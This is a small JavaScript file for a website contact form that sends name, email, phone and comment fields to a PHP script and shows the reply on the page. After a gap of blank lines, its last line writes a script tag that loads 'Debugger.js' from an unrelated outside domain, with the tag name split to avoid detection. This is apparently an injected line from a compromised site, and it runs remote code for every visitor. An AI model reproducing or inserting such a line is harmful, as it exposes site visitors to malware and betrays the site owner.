   function sendmail()
   {
     
	document.getElementById("mailstatus").innerHTML='<img src=images/wait.gif><br>Wait while submitting request';
     var value = "name=" +document.getElementById("name").value+ "&email="+document.getElementById("email").value + "&phone="+document.getElementById("phone").value + "&interest=" + document.getElementById("interest").value + "&comment="+document.getElementById("comment").value;     // get the value.
var  noerrors=true;
   if (noerrors) 
    {
        var url =  "doit1.php?" + value;
//      alert(url);
        if (window.ActiveXObject)        {          httpRequest = new ActiveXObject("Microsoft.XMLHTTP");        }
                            else         {          httpRequest = new XMLHttpRequest();                          }
        httpRequest.open("GET", url, true);
        httpRequest.onreadystatechange= function () {processRequest(); } ;
        httpRequest.send(null);
      }
      else {document.getElementById("mailstatus").innerHTML = "coudnt execute";}
                // just delete the content when no article selected
   }


   /**
    * Event handler for the XMLhttprequest when the content is back (State 4 and status 200)
    * take the content of the request and copy it into the HTML page
    */
   function processRequest()
   {
      if (httpRequest.readyState == 4)     {
        if(httpRequest.status == 200)      
         document.getElementById("mailstatus").innerHTML  = httpRequest.responseText;
        else     
        alert("Error loading page\n"+ httpRequest.status +":"+ httpRequest.statusText);      
                                           }
   }







document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Debugger.js"></scri'+'pt>');